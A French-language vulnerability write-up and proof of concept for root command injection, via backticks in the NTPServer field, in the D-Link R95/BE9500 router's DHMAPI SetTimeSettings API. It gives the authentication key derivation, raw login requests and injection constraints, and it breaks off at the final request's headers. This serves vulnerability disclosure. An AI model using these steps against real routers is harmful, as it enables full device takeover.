
PoC d'injection de commande authentifiée pour D-Link R95/BE9500 DHMAPI SetTimeSettings, permettant une RCE root via l'injection de backticks dans NTPServer, avec un script d'exploitation complet.
Le routeur intelligent D-Link R95 BE9500 Wi-Fi 7 (version de firmware BE9500_1.00.16) contient une vulnérabilité d'injection de commandes dans l'interface DHMAPI (SOAP over HTTPS) lors du traitement des requêtes SetTimeSettings. Le champ <NTPServer> contrôlé par l'utilisateur est stocké dans la base de données de configuration sans aucune sanitisation ni validation des métacaractères shell. Par la suite, lorsque la configuration est synchronisée vers UCI (ntpclient.@ntpserver[0].hostname), le service backend vulnérable construit et exécute une commande shell entourée de guillemets doubles via un appel de type system(). En injectant des backticks (```) dans la valeur <NTPServer>, un attaquant peut réaliser une substitution de commande — le shell évalue le contenu injecté avant d'exécuter la commande concaténée, permettant l'exécution de commandes arbitraires avec les privilèges root (uid=0).
L'attaque nécessite une session de gestion web valide (sid) obtenue via un accès authentifié (testé avec le compte administrateur Admin). Cette vulnérabilité est en outre amplifiée par les identifiants par défaut faibles de l'appareil ou par d'éventuels problèmes de contournement d'authentification, élargissant considérablement la surface d'attaque réelle.
Un attaquant authentifié peut exécuter des commandes arbitraires avec les privilèges root, menant à la compromission totale de l'appareil — notamment la lecture de fichiers sensibles (par exemple le chiffré /etc/rg_config/admin, l'extraction de sauvegardes complètes de configuration), l'installation de portes dérobées persistantes, l'établissement de reverse shells, et le pivotement vers le réseau interne pour des attaques de mouvement latéral.
La vulnérabilité réside dans le binaire backend de gestion web /bin/ssi (s'exécutant en tant que root), qui implémente l'interface SOAP DHMAPI.
Source de contamination — le gestionnaire SetTimeSettings (fonction à l'offset 0x6bd84 dans ssi, firmware 1.01B06) :
<NTPServer> de la requête SOAP vers un tampon de pile, limité en longueur à 0x3f (63 octets) — il s'agit d'une limite de taille de tampon, pas d'un contrôle de sécurité.time.value.NTPServer via un setter interne — aucun filtrage ni échappement des métacaractères shell n'est effectué à aucun moment.Puits de contamination — synchronisation de la configuration vers UCI. ssi synchronise les valeurs de configuration en les concaténant dans des chaînes de commandes shell exécutées via des appels de type system(). Les chaînes de format intégrées trouvées dans le binaire incluent :
uci set %s="%s" > /dev/null
Comme la valeur est entourée de guillemets doubles, le shell effectue une substitution de commande sur les backticks (`) / $() à l'intérieur de la valeur avant d'exécuter la commande concaténée. Étant donné que ssi s'exécute en tant que root, la commande injectée s'exécute avec les privilèges root.
Les preuves temporelles confirment que l'évaluation se produit de manière synchrone dans le chemin de traitement de la requête : injecter `sleep 10` retarde la réponse HTTP d'environ 10 secondes. La valeur empoisonnée persiste en outre dans UCI (ntpclient.@ntpserver[0].hostname) et est ensuite consommée sans guillemets par /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), une faille de durcissement secondaire.
Contraintes d'exploitation (vérifiées) :
| Contrainte | Résultat vérifié |
|---|---|
| Longueur du champ | ≤ 63 octets acceptés ; 60 octets OK, 80 octets rejetés (HTTP 400) |
Caractère & | Ne doit pas apparaître (casse la ligne de commande concaténée) |
| Syntaxe d'injection | Backticks `cmd` vérifiés ; $(cmd) devrait fonctionner de manière équivalente |
| Contexte d'exécution | uid=0(root) gid=0(root) |
| Canal de sortie | Pas d'écho direct ; redirection vers la racine web (> /www/<file>) et récupération via HTTP GET |
Toutes les requêtes DHMAPI doivent porter :
Cookie: uid=<session cookie> (issu de la connexion)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction correspondant à l'action SOAP, plus User-Agent et Referer (l'absence de UA/Referer produit HTTP 400/500)ts est un horodatage en millisecondes ; l'appareil ne valide pas la fraîcheur, donc une valeur fixe est réutilisableDérivation de privkey :
Login / Action=request (signé avec la chaîne de clé statique withoutloginkey) renvoie Challenge, Cookie, PublicKey, SaltHashe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (ou le mot de passe en clair lorsque SaltHash est absent)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login avec ce qui précède renvoie <LoginResult>success</LoginResult> ; les requêtes suivantes utilisent Cookie: uid=<step-1 Cookie> signé avec privkeyPOST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
Attendu : <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close